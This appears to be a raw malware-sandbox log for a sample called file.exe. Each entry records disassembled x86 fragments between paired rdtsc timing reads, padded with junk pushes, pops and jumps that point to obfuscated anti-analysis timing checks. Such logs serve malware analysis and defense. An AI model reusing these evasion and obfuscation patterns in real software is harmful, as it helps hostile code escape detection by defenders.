Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0293 second address: 4EB0297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0297 second address: 4EB029B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB029B second address: 4EB02A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB02A1 second address: 4EB02E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521212h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F811358F57Ah 0x0000000f jmp 00007F80A1521210h 0x00000014 mov edx, dword ptr [esi+44h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F80A1521217h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB02E9 second address: 4EB02EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB02EF second address: 4EB02F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB02F3 second address: 4EB02F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB02F7 second address: 4EB0356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 or edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c jmp 00007F80A152120Dh 0x00000011 jmp 00007F80A1521210h 0x00000016 popad 0x00000017 test edx, 61000000h 0x0000001d jmp 00007F80A1521210h 0x00000022 jne 00007F811358F557h 0x00000028 jmp 00007F80A1521210h 0x0000002d test byte ptr [esi+48h], 00000001h 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 push esi 0x00000035 pop ebx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0356 second address: 4EB0389 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F80A144E1E8h 0x00000008 xor ecx, 2C5DA678h 0x0000000e jmp 00007F80A144E1DBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 mov ebx, eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0389 second address: 4EB03B1 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 jne 00007F811358F516h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F80A1521218h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA09A6 second address: 4EA09AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA09AC second address: 4EA09D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F80A1521215h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA09D5 second address: 4EA0AD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F80A144E1E7h 0x00000011 xor cx, 45CEh 0x00000016 jmp 00007F80A144E1E9h 0x0000001b popfd 0x0000001c pushad 0x0000001d call 00007F80A144E1DEh 0x00000022 pop esi 0x00000023 pushfd 0x00000024 jmp 00007F80A144E1DBh 0x00000029 sub al, FFFFFFDEh 0x0000002c jmp 00007F80A144E1E9h 0x00000031 popfd 0x00000032 popad 0x00000033 popad 0x00000034 xchg eax, ebp 0x00000035 pushad 0x00000036 mov al, 16h 0x00000038 pushfd 0x00000039 jmp 00007F80A144E1E9h 0x0000003e xor esi, 66422CC6h 0x00000044 jmp 00007F80A144E1E1h 0x00000049 popfd 0x0000004a popad 0x0000004b mov ebp, esp 0x0000004d jmp 00007F80A144E1DEh 0x00000052 and esp, FFFFFFF8h 0x00000055 jmp 00007F80A144E1E0h 0x0000005a xchg eax, ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e mov dl, 4Ah 0x00000060 jmp 00007F80A144E1E6h 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0AD5 second address: 4EA0AEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 3EE47EA4h 0x00000008 mov bx, E110h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ecx, 4B25F84Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 mov al, 1Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0AEF second address: 4EA0B1F instructions: 0x00000000 rdtsc 0x00000002 call 00007F80A144E1E3h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F80A144E1DFh 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0B1F second address: 4EA0B25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0B25 second address: 4EA0B8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F80A144E1E8h 0x00000009 xor cx, CA18h 0x0000000e jmp 00007F80A144E1DBh 0x00000013 popfd 0x00000014 mov ah, 1Dh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a jmp 00007F80A144E1E2h 0x0000001f xchg eax, esi 0x00000020 jmp 00007F80A144E1E0h 0x00000025 mov esi, dword ptr [ebp+08h] 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007F80A144E1DDh 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0B8F second address: 4EA0BD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007F80A1521216h 0x0000000b add cl, 00000038h 0x0000000e jmp 00007F80A152120Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 sub ebx, ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F80A1521212h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0BD3 second address: 4EA0BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A144E1DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0BE5 second address: 4EA0BE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0BE9 second address: 4EA0BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F80A144E1DAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0BFF second address: 4EA0C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0C05 second address: 4EA0C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0C09 second address: 4EA0C5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F8113596978h 0x00000011 pushad 0x00000012 pushad 0x00000013 movzx esi, di 0x00000016 jmp 00007F80A152120Fh 0x0000001b popad 0x0000001c mov di, ax 0x0000001f popad 0x00000020 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000027 pushad 0x00000028 mov edx, eax 0x0000002a call 00007F80A152120Ch 0x0000002f mov di, ax 0x00000032 pop esi 0x00000033 popad 0x00000034 mov ecx, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0C5E second address: 4EA0C74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0C74 second address: 4EA0CD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F8113596926h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F80A1521214h 0x00000016 xor ch, 00000078h 0x00000019 jmp 00007F80A152120Bh 0x0000001e popfd 0x0000001f push eax 0x00000020 mov bl, BDh 0x00000022 pop eax 0x00000023 popad 0x00000024 test byte ptr [76FA6968h], 00000002h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov si, F19Fh 0x00000032 call 00007F80A1521214h 0x00000037 pop ecx 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0CD7 second address: 4EA0CFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F81134C38A1h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F80A144E1DAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0CFF second address: 4EA0D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0D03 second address: 4EA0D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0D09 second address: 4EA0D50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007F80A1521210h 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F80A1521210h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F80A152120Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0D50 second address: 4EA0D55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0D55 second address: 4EA0DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F80A1521217h 0x0000000a and eax, 2FE6F96Eh 0x00000010 jmp 00007F80A1521219h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F80A1521218h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0DB1 second address: 4EA0DB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0DB5 second address: 4EA0DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0DBB second address: 4EA0DE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F80A144E1E0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0DE4 second address: 4EA0E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F80A152120Ah 0x0000000a jmp 00007F80A1521215h 0x0000000f popfd 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E0A second address: 4EA0E56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F80A144E1E3h 0x00000013 adc ch, 0000004Eh 0x00000016 jmp 00007F80A144E1E9h 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E56 second address: 4EA0E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E5B second address: 4EA0E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E61 second address: 4EA0E83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+14h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F80A152120Eh 0x00000013 pop eax 0x00000014 mov dx, C736h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EA9 second address: 4EA0EB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EB7 second address: 4EA0EBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EBD second address: 4EA0EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EC1 second address: 4EA0EE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F80A152120Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EE4 second address: 4EA0EEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EEA second address: 4EA0EEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EEE second address: 4EA0EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EF2 second address: 4EA0F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a mov dl, 83h 0x0000000c mov di, si 0x0000000f popad 0x00000010 mov esp, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edi 0x00000016 pop ecx 0x00000017 jmp 00007F80A1521211h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0F1B second address: 4EA0F21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0C58 second address: 4EB0C5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0C5C second address: 4EB0C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0C62 second address: 4EB0C89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 mov si, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F80A1521212h 0x00000012 xchg eax, ebp 0x00000013 pushad 0x00000014 movzx ecx, dx 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F306C5 second address: 4F306D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20974 second address: 4F20979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20794 second address: 4F207AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A144E1E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F207AC second address: 4F207B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F207B0 second address: 4F20804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F80A144E1DCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F80A144E1E0h 0x00000016 mov ebp, esp 0x00000018 jmp 00007F80A144E1E0h 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F80A144E1E7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0EFC second address: 4EB0F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0F00 second address: 4EB0F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0F06 second address: 4EB0F0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0F0C second address: 4EB0F2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F80A144E1DEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0F2F second address: 4EB0F46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F80A1521211h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0F46 second address: 4EB0F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F80A144E1DDh 0x0000000d mov ebp, esp 0x0000000f jmp 00007F80A144E1DEh 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F80A144E1E7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0F85 second address: 4EB0F8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0F8B second address: 4EB0F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20BD0 second address: 4F20BD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20BD6 second address: 4F20BE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A144E1DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20BE7 second address: 4F20C0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ebx, 7553595Ch 0x00000011 call 00007F80A1521215h 0x00000016 pop esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20C0F second address: 4F20D07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F80A144E1DCh 0x00000008 pop ecx 0x00000009 mov eax, ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov eax, edx 0x00000012 pushfd 0x00000013 jmp 00007F80A144E1DFh 0x00000018 add ah, FFFFFFEEh 0x0000001b jmp 00007F80A144E1E9h 0x00000020 popfd 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F80A144E1DCh 0x0000002b adc cx, 0668h 0x00000030 jmp 00007F80A144E1DBh 0x00000035 popfd 0x00000036 push eax 0x00000037 pushfd 0x00000038 jmp 00007F80A144E1DFh 0x0000003d xor esi, 742CB9AEh 0x00000043 jmp 00007F80A144E1E9h 0x00000048 popfd 0x00000049 pop ecx 0x0000004a popad 0x0000004b push dword ptr [ebp+0Ch] 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 pushfd 0x00000052 jmp 00007F80A144E1E8h 0x00000057 sub ecx, 600DDE58h 0x0000005d jmp 00007F80A144E1DBh 0x00000062 popfd 0x00000063 pushfd 0x00000064 jmp 00007F80A144E1E8h 0x00000069 sub esi, 1C5768B8h 0x0000006f jmp 00007F80A144E1DBh 0x00000074 popfd 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20D07 second address: 4F20D1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A1521214h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20D1F second address: 4F20DAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c mov ecx, edi 0x0000000e popad 0x0000000f push AE158FC8h 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F80A144E1DEh 0x0000001b and eax, 5F808D78h 0x00000021 jmp 00007F80A144E1DBh 0x00000026 popfd 0x00000027 call 00007F80A144E1E8h 0x0000002c call 00007F80A144E1E2h 0x00000031 pop eax 0x00000032 pop edx 0x00000033 popad 0x00000034 add dword ptr [esp], 51EB703Ah 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007F80A144E1DCh 0x00000042 adc ax, 7238h 0x00000047 jmp 00007F80A144E1DBh 0x0000004c popfd 0x0000004d push eax 0x0000004e push edx 0x0000004f mov ecx, 0AA73A05h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0424 second address: 4ED042A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED042A second address: 4ED0444 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0444 second address: 4ED044A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED044A second address: 4ED04ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F80A144E1DBh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F80A144E1E1h 0x00000018 and ecx, 78470816h 0x0000001e jmp 00007F80A144E1E1h 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F80A144E1E0h 0x0000002a xor ch, 00000038h 0x0000002d jmp 00007F80A144E1DBh 0x00000032 popfd 0x00000033 popad 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F80A144E1DBh 0x00000040 sub si, 69FEh 0x00000045 jmp 00007F80A144E1E9h 0x0000004a popfd 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED04ED second address: 4ED04F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc

